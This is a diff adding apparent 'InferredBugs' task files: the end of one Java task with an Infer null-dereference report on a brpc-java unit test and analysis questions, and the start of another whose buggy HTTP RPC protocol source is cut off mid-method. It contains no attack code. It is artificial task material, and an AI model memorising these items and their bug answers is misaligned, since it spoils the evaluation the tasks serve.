+    public void testAsyncHandleSuccessfulResponse() throws Exception {
+        RpcFuture rpcFuture = new RpcFuture<String>(timeout, methodInfo, rpcCallback, channelInfo, rpcClient);
+        Response response = new RpcResponse();
+        response.setResult("hello world");
+        rpcFuture.handleResponse(response);
+        verify(rpcCallback).success(eq("hello world"));
+        verify(interceptor).handleResponse(any(RpcResponse.class));
+        assertThat(rpcFuture.get(), is(response));
+    }
+
+    @Test
+    public void testAsyncHandleFailResponse() throws Exception {
+        RpcFuture rpcFuture = new RpcFuture<String>(timeout, methodInfo, rpcCallback, channelInfo, rpcClient);
+        Response response = new RpcResponse();
+        RuntimeException ex = new RuntimeException("dummy");
+        response.setException(ex);
+        rpcFuture.handleResponse(response);
+        verify(rpcCallback).fail(ex);
+        verify(interceptor).handleResponse(any(RpcResponse.class));
+        assertThat(rpcFuture.get(), is(response));
+    }
+
+    @Test
+    public void testAsyncHandleNullResponse() throws Exception {
+        RpcFuture rpcFuture = new RpcFuture<String>(timeout, methodInfo, rpcCallback, channelInfo, rpcClient);
+        rpcFuture.handleResponse(null);
+        verify(rpcCallback).fail(throwableCaptor.capture());
+        Throwable t = throwableCaptor.getValue();
+        assertThat(t, instanceOf(RpcException.class));
+        verify(interceptor).handleResponse(null);
+    }
+
+    @Test
+    public void testSyncHandleSuccessfulResponse() throws Exception {
+        RpcFuture rpcFuture = new RpcFuture<String>(timeout, methodInfo, null, channelInfo, rpcClient);
+        RpcResponse response = new RpcResponse();
+        response.setResult("hello world");
+        rpcFuture.handleResponse(response);
+        Response resp = rpcFuture.get(1, TimeUnit.SECONDS);
+        assertThat((String) resp.getResult(), is("hello world"));
+    }
+
+    @Test
+    public void testSyncHandleFailResponse() throws Exception {
+        RpcFuture rpcFuture = new RpcFuture<String>(timeout, methodInfo, null, channelInfo, rpcClient);
+        RpcResponse response = new RpcResponse();
+        RuntimeException ex = new RuntimeException("dummy");
+        response.setException(ex);
+        rpcFuture.handleResponse(response);
+        Response resp = rpcFuture.get(1, TimeUnit.SECONDS);
+        assertThat((RuntimeException) resp.getException(), is(ex));
+    }
+
+    @Test
+    public void testSyncHandleTimeout() throws Exception {
+        RpcFuture rpcFuture = new RpcFuture<String>(timeout, methodInfo, null, channelInfo, rpcClient);
+        Response resp = rpcFuture.get(100, TimeUnit.MILLISECONDS);
+        assertThat(resp.getException(), instanceOf(RpcException.class));
+        assertThat(((RpcException) resp.getException()).getCode(), is(RpcException.TIMEOUT_EXCEPTION));
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `resp` last assigned on line 135 could be null and is dereferenced at line 136.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void RpcFutureTest.testSyncHandleFailResponse()
+
+### Procedure Id:
+com.baidu.brpc.client.RpcFutureTest.testSyncHandleFailResponse():void.96e65bb9dc0ed67f92328f612e4813af
+
+### File:
+brpc-java-core/src/test/java/com/baidu/brpc/client/RpcFutureTest.java
+
+### Key:
+RpcFutureTest.java|testSyncHandleFailResponse|NULL_DEREFERENCE
+
+### Node Key:
+9140dff8bf7cd03886d368c0c0c52aa5
+
+### Hash:
+0493b696759871e307676190dc8c7e99
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-11105/instruction.md b/inferredbugs-11105/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a6d68457fb26ebff1cef67541dbd743d5a39975e
--- /dev/null
+++ b/inferredbugs-11105/instruction.md
@@ -0,0 +1,828 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** brpc-java
+**Bug ID:** 5
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2019 Baidu, Inc. All Rights Reserved.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.baidu.brpc.protocol.http;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.nio.charset.Charset;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Set;
+
+import com.baidu.brpc.protocol.standard.BaiduRpcProto;
+import org.apache.commons.lang3.StringUtils;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import com.baidu.brpc.ChannelInfo;
+import com.baidu.brpc.ProtobufRpcMethodInfo;
+import com.baidu.brpc.RpcMethodInfo;
+import com.baidu.brpc.buffer.DynamicCompositeByteBuf;
+import com.baidu.brpc.client.RpcClient;
+import com.baidu.brpc.client.RpcFuture;
+import com.baidu.brpc.client.channel.BrpcChannel;
+import com.baidu.brpc.exceptions.BadSchemaException;
+import com.baidu.brpc.exceptions.NotEnoughDataException;
+import com.baidu.brpc.exceptions.RpcException;
+import com.baidu.brpc.exceptions.TooBigDataException;
+import com.baidu.brpc.naming.DnsNamingService;
+import com.baidu.brpc.naming.NamingService;
+import com.baidu.brpc.protocol.AbstractProtocol;
+import com.baidu.brpc.protocol.BrpcMeta;
+import com.baidu.brpc.protocol.HttpRequest;
+import com.baidu.brpc.protocol.HttpResponse;
+import com.baidu.brpc.protocol.Options;
+import com.baidu.brpc.protocol.Request;
+import com.baidu.brpc.protocol.Response;
+import com.baidu.brpc.server.ServiceManager;
+
+import com.google.gson.Gson;
+import com.google.gson.GsonBuilder;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonParser;
+import com.google.protobuf.Descriptors;
+import com.google.protobuf.ExtensionRegistry;
+import com.google.protobuf.Message;
+import com.googlecode.protobuf.format.JsonFormat;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.http.DefaultFullHttpRequest;
+import io.netty.handler.codec.http.DefaultFullHttpResponse;
+import io.netty.handler.codec.http.FullHttpRequest;
+import io.netty.handler.codec.http.FullHttpResponse;
+import io.netty.handler.codec.http.HttpHeaderNames;
+import io.netty.handler.codec.http.HttpHeaderValues;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpMessage;
+import io.netty.handler.codec.http.HttpMethod;
+import io.netty.handler.codec.http.HttpResponseStatus;
+import io.netty.handler.codec.http.HttpUtil;
+import io.netty.handler.codec.http.HttpVersion;
+import io.netty.handler.codec.http.QueryStringDecoder;
+
+/**
+ * 处理http rpc协议，包括四种序列化格式：
+ * 1、http + protobuf
+ * 2、http + json
+ */
+public class HttpRpcProtocol extends AbstractProtocol {
+    public static final String PROTOCOL_TYPE = "protocol-type";
+    private static final Logger LOG = LoggerFactory.getLogger(HttpRpcProtocol.class);
+    private static final String CONTENT_TYPE_JSON = "application/json";
+    private static final String CONTENT_TYPE_PROTOBUF = "application/proto";
+    /**
+     * 请求的唯一标识id
+     */
+    private static final String LOG_ID = "log-id";
+    private static final JsonFormat jsonPbConverter = new JsonFormat() {
+        protected void print(Message message, JsonGenerator generator) throws IOException {
+            for (Iterator<Map.Entry<Descriptors.FieldDescriptor, Object>> iter =
+                 message.getAllFields().entrySet().iterator(); iter.hasNext(); ) {
+                Map.Entry<Descriptors.FieldDescriptor, Object> field = iter.next();
+                printField(field.getKey(), field.getValue(), generator);
+                if (iter.hasNext()) {
+                    generator.print(",");
+                }
+            }
+            // ignore UnknownFields
+        }
+    };
+    private static final Gson gson = (new GsonBuilder())
+            .serializeNulls()
+            .disableHtmlEscaping()
+            .serializeSpecialFloatingPointValues()
+            .create();
+    private static final JsonParser jsonParser = new JsonParser();
+
+    // HTTP Headers which should not be modified by user
+    private static final Set<String> prohibitedHeaders = new HashSet<String>();
+
+    static {
+        prohibitedHeaders.add(HttpHeaderNames.CONTENT_TYPE.toString());
+        prohibitedHeaders.add(HttpHeaderNames.CONTENT_LENGTH.toString());
+        prohibitedHeaders.add(HttpHeaderNames.CONNECTION.toString());
+        prohibitedHeaders.add(LOG_ID);
+    }
+
+
+    protected int protocolType;
+    protected String encoding;
+
+    public HttpRpcProtocol(int protocolType, String encoding) {
+        this.protocolType = protocolType;
+        this.encoding = encoding;
+    }
+
+    @Override
+    public Request createRequest() {
+        return new HttpRequest();
+    }
+
+    @Override
+    public Response createResponse() {
+        return new HttpResponse();
+    }
+
+    @Override
+    public Request getRequest() {
+        Request request = HttpRequest.getHttpRequest();
+        request.reset();
+        return request;
+    }
+
+    @Override
+    public Response getResponse() {
+        Response response = HttpResponse.getHttpResponse();
+        response.reset();
+        return response;
+    }
+
+    @Override
+    public Object decode(ChannelHandlerContext ctx, DynamicCompositeByteBuf in, boolean isDecodingRequest)
+            throws BadSchemaException, TooBigDataException, NotEnoughDataException {
+        HttpMessage httpMessage = null;
+        // I don't know the length of http header, so here copy all readable bytes to decode
+        ByteBuf byteBuf = in.retainedSlice(in.readableBytes());
+
+        try {
+            // TODO: only parse header
+            httpMessage = (HttpMessage) BrpcHttpObjectDecoder.getDecoder(isDecodingRequest).decode(ctx, byteBuf);
+            if (httpMessage != null) {
+                if (httpMessage.decoderResult() != null && httpMessage.decoderResult().isFailure()) {
+                    // could not decode http message
+                    LOG.debug("failed to decode http message", httpMessage.decoderResult().cause());
+                    throw new BadSchemaException();
+                }
+                String contentTypeAndEncoding = httpMessage.headers().get(HttpHeaderNames.CONTENT_TYPE);
+                // if content-type does not exist, it is /status request, so this protocol can deal with.
+                if (StringUtils.isNoneBlank(contentTypeAndEncoding)) {
+                    contentTypeAndEncoding = contentTypeAndEncoding.toLowerCase();
+                    String[] splits = StringUtils.split(contentTypeAndEncoding, ";");
+                    String contentType = splits[0];
+                    if (!contentType.equals(CONTENT_TYPE_PROTOBUF)
+                            && !contentType.equals(CONTENT_TYPE_JSON)) {
+                        // this protocol can only deal with http protobuf and http json request.
+                        httpMessage = null;
+                        throw new BadSchemaException();
+                    }
+                }
+            }
+        } catch (Exception e) {
+            throw new BadSchemaException();
+        } finally {
+            if (httpMessage != null) {
+                // decode success
+                in.skipBytes(byteBuf.readerIndex());
+            }
+            byteBuf.release();
+        }
+
+        if (httpMessage == null) {
+            // decode next time
+            throw notEnoughDataException;
+        }
+
+        return httpMessage;
+    }
+
+    @Override
+    public ByteBuf encodeRequest(Request request) throws Exception {
+        HttpRequest httpRequest = (HttpRequest) request;
+        String serviceName = httpRequest.getTargetMethod().getDeclaringClass().getName();
+        String methodName = httpRequest.getTargetMethod().getName();
+        BrpcMeta rpcMeta = httpRequest.getTargetMethod().getAnnotation(BrpcMeta.class);
+        if (rpcMeta != null) {
+            serviceName = rpcMeta.serviceName();
+            methodName = rpcMeta.methodName();
+        }
+        LOG.debug("serviceName={}, methodName={}", serviceName, methodName);
+
+        Object httpRequestBody = makeRequest((int) httpRequest.getLogId(), methodName, httpRequest.getArgs());
+        byte[] httpRequestBodyBytes =
+                encodeBody(protocolType, encoding, httpRequestBody, httpRequest.getRpcMethodInfo());
+
+        FullHttpRequest nettyHttpRequest = null;
+        try {
+            nettyHttpRequest = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.POST, "");
+            nettyHttpRequest.setUri(buildHttpUri(serviceName, methodName));
+            if (httpRequestBodyBytes != null) {
+                nettyHttpRequest.content().writeBytes(httpRequestBodyBytes);
+            }
+            String contentType = getContentType(protocolType);
+            nettyHttpRequest.headers().set(HttpHeaderNames.CONTENT_TYPE, contentType + "; charset=" + encoding);
+            nettyHttpRequest.headers().set(HttpHeaderNames.CONTENT_LENGTH, httpRequestBodyBytes == null
+                    ? 0 : httpRequestBodyBytes.length);
+            nettyHttpRequest.headers().set(HttpHeaderNames.CONNECTION, HttpHeaderValues.KEEP_ALIVE);
+            nettyHttpRequest.headers().set(LOG_ID, httpRequest.getLogId());
+            for (Map.Entry<String, String> header : httpRequest.headers()) {
+                if (prohibitedHeaders.contains(header.getKey().toLowerCase())) {
+                    continue;
+                }
+                nettyHttpRequest.headers().set(header.getKey(), header.getValue());
+            }
+            if (request.getKvAttachment() != null) {
+                for (Map.Entry<String, Object> kv : request.getKvAttachment().entrySet()) {
+                    if (!prohibitedHeaders.contains(kv.getKey().toLowerCase())) {
+                        nettyHttpRequest.headers().set(kv.getKey(), kv.getValue());
+                    }
+                }
+            }
+            BrpcHttpRequestEncoder encoder = new BrpcHttpRequestEncoder();
+            return encoder.encode(nettyHttpRequest);
+        } finally {
+            if (nettyHttpRequest != null) {
+                nettyHttpRequest.release();
+            }
+        }
+    }
+
+    @Override
+    public void beforeRequestSent(Request request, RpcClient rpcClient, BrpcChannel channelGroup) {
+        String hostPort;
+        HttpRequest httpRequest = (HttpRequest) request;
+        NamingService namingService = rpcClient.getNamingService();
+        if (!httpRequest.headers().contains(HttpHeaderNames.HOST)) {
+            if (namingService != null && namingService instanceof DnsNamingService) {
+                // 从 DnsNamingService 获取原始的 host
+                hostPort = ((DnsNamingService) namingService).getHostPort();
+            } else {
+                // 默认获取当前链接的 host:port 即可
+                hostPort = channelGroup.getServiceInstance().getIp() + ":"
+                        + channelGroup.getServiceInstance().getPort();
+            }
+            // some http server decide what to do by the 'host' param in request header
+            httpRequest.headers().set(HttpHeaderNames.HOST, hostPort);
+        }
+    }
+
+    @Override
+    public Response decodeResponse(Object msg, ChannelHandlerContext ctx) {
+        FullHttpResponse httpResponse = (FullHttpResponse) msg;
+        try {
+            ChannelInfo channelInfo = ChannelInfo.getClientChannelInfo(ctx.channel());
+            Long logId = parseLogId(httpResponse.headers().get(LOG_ID), channelInfo.getLogId());
+            HttpResponse response = new HttpResponse();
+            response.setLogId(logId);
+            RpcFuture future = channelInfo.removeRpcFuture(response.getLogId());
+            if (future == null) {
+                return response;
+            }
+            response.setRpcFuture(future);
+
+            if (!httpResponse.status().equals(HttpResponseStatus.OK)) {
+                LOG.warn("status={}", httpResponse.status());
+                response.setException(new RpcException(RpcException.SERVICE_EXCEPTION,
+                        "http status=" + httpResponse.status()));
+                return response;
+            }
+
+            int bodyLen = httpResponse.content().readableBytes();
+            byte[] bytes = new byte[bodyLen];
+            httpResponse.content().readBytes(bytes);
+
+            String contentTypeAndEncoding = httpResponse.headers().get(HttpHeaderNames.CONTENT_TYPE).toLowerCase();
+            String[] splits = StringUtils.split(contentTypeAndEncoding, ";");
+            int protocolType = HttpRpcProtocol.parseProtocolType(splits[0]);
+            String encoding = this.encoding;
+            // 由于uc服务返回的encoding是错误的，所以这里以client端设置的encoding为准。
+            //        for (String split : splits) {
+            //            split = split.trim();
+            //            if (split.startsWith("charset=")) {
+            //                encoding = split.substring("charset=".length());
+            //            }
+            //        }
+
+            Object body = null;
+            if (bodyLen != 0) {
+                try {
+                    body = decodeBody(protocolType, encoding, bytes);
+                } catch (Exception ex) {
+                    LOG.error("decode response body failed");
+                    response.setException(ex);
+                    return response;
+                }
+            }
+
+            if (body != null) {
+                try {
+                    response.setResult(parseHttpResponse(body, future.getRpcMethodInfo()));
+                } catch (Exception ex) {
+                    LOG.error("failed to parse result from HTTP body");
+                    response.setException(ex);
+                }
+            } else {
+                response.setResult(null);
+            }
+
+            // set response attachment
+            if (response.getKvAttachment() == null) {
+                response.setKvAttachment(new HashMap<String, Object>());
+            }
+            for (Map.Entry<String, String> entry : httpResponse.headers()) {
+                response.getKvAttachment().put(entry.getKey(), entry.getValue());
+            }
+
+            return response;
+        } finally {
+            httpResponse.release();
+        }
+
+    }
+
+    @Override
+    public Request decodeRequest(Object packet) {
+        try {
+            HttpRequest httpRequest = (HttpRequest) this.createRequest();
+            httpRequest.setMsg(packet);
+            long logId = parseLogId(httpRequest.headers().get(LOG_ID), null);
+            httpRequest.setLogId(logId);
+
+            String contentTypeAndEncoding = httpRequest.headers().get(HttpHeaderNames.CONTENT_TYPE).toLowerCase();
+            String[] splits = StringUtils.split(contentTypeAndEncoding, ";");
+            int protocolType = HttpRpcProtocol.parseProtocolType(splits[0]);
+            String encoding = this.encoding;
+            for (String split : splits) {
+                split = split.trim();
+                if (split.startsWith("charset=")) {
+                    encoding = split.substring("charset=".length());
+                }
+            }
+            httpRequest.headers().set(PROTOCOL_TYPE, protocolType);
+            httpRequest.headers().set(HttpHeaderNames.CONTENT_ENCODING, encoding);
+
+            // set http headers to attachment
+            if (httpRequest.getKvAttachment() == null) {
+                httpRequest.setKvAttachment(new HashMap<String, Object>());
+            }
+            for (Map.Entry<String, String> entry : httpRequest.headers()) {
+                httpRequest.getKvAttachment().put(entry.getKey(), entry.getValue());
+            }
+
+            ByteBuf byteBuf = httpRequest.content();
+            int bodyLen = byteBuf.readableBytes();
+            if (bodyLen == 0) {
+                String errMsg = String.format("body should not be null, uri:%s", httpRequest.uri());
+                LOG.warn(errMsg);
+                httpRequest.setException(new RpcException(RpcException.SERVICE_EXCEPTION, errMsg));
+                return httpRequest;
+            }
+            byte[] requestBytes = new byte[bodyLen];
+            byteBuf.readBytes(requestBytes, 0, bodyLen);
+
+            Object body = decodeBody(protocolType, encoding, requestBytes);
+            httpRequest.setLogId(logId);
+
+            QueryStringDecoder queryStringDecoder = new QueryStringDecoder(httpRequest.uri());
+            String path = queryStringDecoder.path();
+            String serviceName = null;
+            String methodName = null;
+            if (protocolType == Options.ProtocolType.PROTOCOL_HTTP_PROTOBUF_VALUE
+                    || protocolType == Options.ProtocolType.PROTOCOL_HTTP_JSON_VALUE) {
+                String[] uriSplit = path.split("/");
+                if (uriSplit.length < 3) {
+                    String errMsg = String.format("url format is error, path:%s", path);
+                    LOG.warn(errMsg);
+                    httpRequest.setException(new RpcException(RpcException.SERVICE_EXCEPTION, errMsg));
+                    return httpRequest;
+                }
+                serviceName = uriSplit[uriSplit.length - 2];
+                methodName = uriSplit[uriSplit.length - 1];
+            } else {
+                JsonObject bodyObject = (JsonObject) body;
+                methodName = bodyObject.get("method").getAsString();
+                serviceName = path;
+            }
+            ServiceManager serviceManager = ServiceManager.getInstance();
+            RpcMethodInfo rpcMethodInfo = serviceManager.getService(serviceName, methodName);
+            if (rpcMethodInfo == null) {
+                String errMsg = String.format("Fail to find path=%s", path);
+                LOG.warn(errMsg);
+                httpRequest.setException(new RpcException(RpcException.SERVICE_EXCEPTION, errMsg));
+                return httpRequest;
+            }
+            httpRequest.setServiceName(rpcMethodInfo.getServiceName());
+            httpRequest.setMethodName(rpcMethodInfo.getMethodName());
+            httpRequest.setRpcMethodInfo(rpcMethodInfo);
+            httpRequest.setTargetMethod(rpcMethodInfo.getMethod());
+            httpRequest.setTarget(rpcMethodInfo.getTarget());
+            httpRequest.setArgs(parseRequestParam(protocolType, body, rpcMethodInfo));
+            return httpRequest;
+        } finally {
+            ((FullHttpRequest) packet).release();
+        }
+    }
+
+    @Override
+    public ByteBuf encodeResponse(Request request, Response response) {
+        FullHttpRequest httpRequest = (FullHttpRequest) request.getMsg();
+        FullHttpResponse httpResponse = null;
+
+        try {
+            if (response.getException() != null) {
+                httpResponse =
+                        new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.INTERNAL_SERVER_ERROR);
+            } else {
+                httpResponse = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.OK);
+                addHttpResponseHeaders(httpResponse, response, httpRequest);
+                int protocolType = Integer.parseInt(httpRequest.headers().get(PROTOCOL_TYPE));
+                Object body = makeResponse(protocolType, response);
+                // encode body
+                try {
+                    byte[] responseBytes = encodeBody(protocolType,
+                            httpRequest.headers().get(HttpHeaderNames.CONTENT_ENCODING),
+                            body, response.getRpcMethodInfo());
+                    httpResponse.content().writeBytes(responseBytes);
+                    httpResponse.headers().set(HttpHeaderNames.CONTENT_LENGTH, responseBytes.length);
+                } catch (Exception e) {
+                    LOG.warn("encode response failed", e);
+                    response.setException(e);
+                    httpResponse =
+                            new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.INTERNAL_SERVER_ERROR);
+                }
+            }
+            // encode full http response
+            BrpcHttpResponseEncoder encoder = new BrpcHttpResponseEncoder();
+            return encoder.encode(httpResponse);
+        } catch (Exception e) {
+            LOG.warn("encode response failed", e);
+            response.setException(e);
+            return null;
+        } finally {
+            if (httpResponse != null) {
+                httpResponse.release();
+            }
+        }
+    }
+
+    @Override
+    public void afterResponseSent(Request request, Response response, ChannelFuture channelFuture) {
+        if (!HttpUtil.isKeepAlive(((HttpRequest) request).getNettyHttpRequest())) {
+            channelFuture.addListener(ChannelFutureListener.CLOSE);
+        }
+    }
+
+    public byte[] encodeResponseBody(int protocolType, Request request, Response response) {
+        FullHttpRequest httpRequest = (FullHttpRequest) request.getMsg();
+        Object body = makeResponse(protocolType, response);
+        return encodeBody(protocolType,
+                httpRequest.headers().get(HttpHeaderNames.CONTENT_ENCODING),
+                body, response.getRpcMethodInfo());
+    }
+
+    @Override
+    public boolean returnChannelBeforeResponse() {
+        return false;
+    }
+
+    @Override
+    public boolean isCoexistence() {
+        return true;
+    }
+
+    public static int parseProtocolType(String contentType) {
+        String contentType2 = contentType.toLowerCase();
+        if (contentType2.equals(HttpRpcProtocol.CONTENT_TYPE_JSON)) {
+            return Options.ProtocolType.PROTOCOL_HTTP_JSON_VALUE;
+        } else if (contentType2.equals(HttpRpcProtocol.CONTENT_TYPE_PROTOBUF)) {
+            return Options.ProtocolType.PROTOCOL_HTTP_PROTOBUF_VALUE;
+        } else {
+            LOG.warn("unknown contentType={}", contentType);
+            throw new RpcException(RpcException.SERIALIZATION_EXCEPTION, "unknown contentType=" + contentType);
+        }
+    }
+
+    public String getContentType(Integer protocolType) {
+        String contentType;
+        switch (protocolType) {
+            case Options.ProtocolType.PROTOCOL_HTTP_JSON_VALUE: {
+                contentType = HttpRpcProtocol.CONTENT_TYPE_JSON;
+                break;
+            }
+            case Options.ProtocolType.PROTOCOL_HTTP_PROTOBUF_VALUE: {
+                contentType = HttpRpcProtocol.CONTENT_TYPE_PROTOBUF;
+                break;
+            }
+            default:
+                LOG.warn("unknown protocolType={}", protocolType);
+                throw new RpcException(RpcException.SERIALIZATION_EXCEPTION,
+                        "unknown protocolType=" + protocolType);
+        }
+        return contentType;
+    }
+
+    public byte[] encodeBody(int protocolType, String encoding, Object body, RpcMethodInfo rpcMethodInfo) {
+        byte[] bodyBytes;
+        try {
+            switch (protocolType) {
+                case Options.ProtocolType.PROTOCOL_HTTP_JSON_VALUE: {
+                    String bodyJson = "";
+                    if (rpcMethodInfo instanceof ProtobufRpcMethodInfo) {
+                        ByteArrayOutputStream out = new ByteArrayOutputStream();
+                        jsonPbConverter.print((Message) body, out, Charset.forName(encoding));
+                        out.flush();
+                        bodyJson = out.toString(encoding);
+                    } else {
+                        bodyJson = gson.toJson(body);
+                    }
+                    bodyBytes = bodyJson.getBytes(encoding);
+                    break;
+                }
+                case Options.ProtocolType.PROTOCOL_HTTP_PROTOBUF_VALUE: {
+                    if (rpcMethodInfo.getTarget() != null) {
+                        // server端
+                        bodyBytes = rpcMethodInfo.outputEncode(body);
+                    } else {
+                        bodyBytes = rpcMethodInfo.inputEncode(body);
+                    }
+                    break;
+                }
+                default:
+                    LOG.warn("unkown protocolType={}", protocolType);
+                    throw new RpcException(RpcException.SERIALIZATION_EXCEPTION,
+                            "unkown protocolType=" + protocolType);
+            }
+        } catch (Exception ex) {
+            throw new RpcException(RpcException.SERIALIZATION_EXCEPTION, "encode body failed", ex);
+        }
+        return bodyBytes;
+    }
+
+    public Object decodeBody(int protocolType, String encoding, byte[] bytes) {
+        Object body = null;
+        try {
+            switch (protocolType) {
+                case Options.ProtocolType.PROTOCOL_HTTP_JSON_VALUE: {
+                    body = new String(bytes, encoding);
+                    break;
+                }
+                case Options.ProtocolType.PROTOCOL_HTTP_PROTOBUF_VALUE: {
+                    // decode when parse response
+                    body = bytes;
+                    break;
+                }
+                default:
+                    LOG.warn("unknown protocolType={}", protocolType);
+                    throw new RpcException(RpcException.SERIALIZATION_EXCEPTION,
+                            "unknown protocolType=" + protocolType);
+            }
+        } catch (Exception ex) {
+            LOG.error("decodeBody failed", ex);
+            throw new RpcException(RpcException.SERIALIZATION_EXCEPTION, "decode body failed", ex);
+        }
+        return body;
+    }
+
+    /**
+     * fill http response headers
+     * @param fullHttpResponse netty http response
+     * @param response brpc standard response
+     * @param fullHttpRequest netty http request
+     */
+    public void addHttpResponseHeaders(FullHttpResponse fullHttpResponse,
+                                       Response response,
+                                       FullHttpRequest fullHttpRequest) {
+        boolean keepAlive = HttpUtil.isKeepAlive(fullHttpRequest);
+        if (keepAlive) {
+            fullHttpResponse.headers().set(HttpHeaderNames.CONNECTION, HttpHeaderValues.KEEP_ALIVE);
+        }
+        fullHttpResponse.headers().set(HttpHeaderNames.CONTENT_TYPE, fullHttpRequest.headers().get(HttpHeaderNames.CONTENT_TYPE));
+        if (fullHttpRequest.headers().contains("callId")) {
+            fullHttpResponse.headers().set("callId", fullHttpRequest.headers().get("callId"));
+        }
+        if (fullHttpRequest.headers().contains(LOG_ID)) {
+            fullHttpResponse.headers().set(LOG_ID, fullHttpRequest.headers().get(LOG_ID));
+        }
+        if (response.getKvAttachment() != null) {
+            for (Map.Entry<String, Object> entry : response.getKvAttachment().entrySet()) {
+                fullHttpResponse.headers().set(entry.getKey(), entry.getValue());
+            }
+        }
+    }
+
+    public Object makeRequest(int id, String methodName, Object[] args) {
+        if (protocolType == Options.ProtocolType.PROTOCOL_HTTP_JSON_VALUE) {
+            if (args == null || args.length == 0) {
+                return null;
+            }
+            return args[0];
+        } else if (protocolType == Options.ProtocolType.PROTOCOL_HTTP_PROTOBUF_VALUE) {
+            if (args == null || args.length == 0) {
+                return null;
+            }
+            return args[0];
+
+        } else {
+            Map<String, Object> map = new HashMap();
+            map.put("jsonrpc", "2.0");
+            map.put("method", methodName);
+            if (args != null) {
+                map.put("params", args);
+            } else {
+                map.put("params", new Object[0]);
+            }
+
+            map.put("id", "" + id);
+            return gson.toJsonTree(map);
+        }
+    }
+
+    public Object makeResponse(int protocolType, Response response) {
+        Long id = response.getLogId();
+        if (protocolType == Options.ProtocolType.PROTOCOL_HTTP_JSON_VALUE) {
+            return response.getResult();
+        } else if (protocolType == Options.ProtocolType.PROTOCOL_HTTP_PROTOBUF_VALUE) {
+            return response.getResult();
+        } else {
+            JsonObject res = new JsonObject();
+            JsonElement result = gson.toJsonTree(
+                    response.getResult(), response.getRpcMethodInfo().getMethod().getReturnType());
+            res.addProperty("jsonrpc", "2.0");
+            if (result != null) {
+                res.add("result", result);
+            } else {
+                res.addProperty("error", "bad request");
+            }
+            if (id != null) {
+                res.addProperty("id", id.intValue());
+            }
+
+            return res;
+        }
+    }
+
+    public String buildHttpUri(String serviceName, String methodName) {
+        // uri格式为 /serviceName/methodName
+        return "/" + serviceName + "/" + methodName;
+    }
+
+    // 解析log_id
+    public long parseLogId(String headerLogId, Long channelAttachLogId) {
+        // 以headerLogId为准，headerLogId为null则以channelAttachLogId为准
+        if (headerLogId != null) {
+            return Long.valueOf(headerLogId);
+        } else if (channelAttachLogId != null) {
+            return channelAttachLogId;
+        }
+        return -1;
+    }
+
+    public Object parseHttpResponse(Object body, RpcMethodInfo rpcMethodInfo) {
+        Object response;
+        try {
+            switch (protocolType) {
+                case Options.ProtocolType.PROTOCOL_HTTP_JSON_VALUE:
+                    if (rpcMethodInfo instanceof ProtobufRpcMethodInfo) {
+                        ProtobufRpcMethodInfo protobufRpcMethodInfo = (ProtobufRpcMethodInfo) rpcMethodInfo;
+                        Message.Builder rspBuilder = protobufRpcMethodInfo.getOutputInstance().newBuilderForType();
+                        jsonPbConverter.merge((String) body, ExtensionRegistry.getEmptyRegistry(), rspBuilder);
+                        response = rspBuilder.build();
+                    } else {
+                        response = gson.fromJson((String) body, rpcMethodInfo.getOutputClass());
+                    }
+                    break;
+                case Options.ProtocolType.PROTOCOL_HTTP_PROTOBUF_VALUE:
+                    response = rpcMethodInfo.outputDecode((byte[]) body);
+                    break;
+                default:
+                    LOG.warn("unknown protocolType={}", protocolType);
+                    throw new RpcException(RpcException.SERIALIZATION_EXCEPTION,
+                            "unknown protocolType=" + protocolType);
+            }
+        } catch (Exception ex) {
+            LOG.error("parse rpc response error", ex);
+            throw new RpcException(RpcException.SERIALIZATION_EXCEPTION, "parse rpc response error", ex);
+        }
+        return response;
+    }
+
+    public Object[] parseRequestParam(int protocolType, Object body, RpcMethodInfo rpcMethodInfo) {
+        if (body == null) {
+            return null;
+        }
+
+        Object[] args = new Object[rpcMethodInfo.getMethod().getGenericParameterTypes().length];
+        if (protocolType == Options.ProtocolType.PROTOCOL_HTTP_JSON_VALUE) {
+            try {
+                if (rpcMethodInfo instanceof ProtobufRpcMethodInfo) {
+                    ProtobufRpcMethodInfo protobufRpcMethodInfo = (ProtobufRpcMethodInfo) rpcMethodInfo;
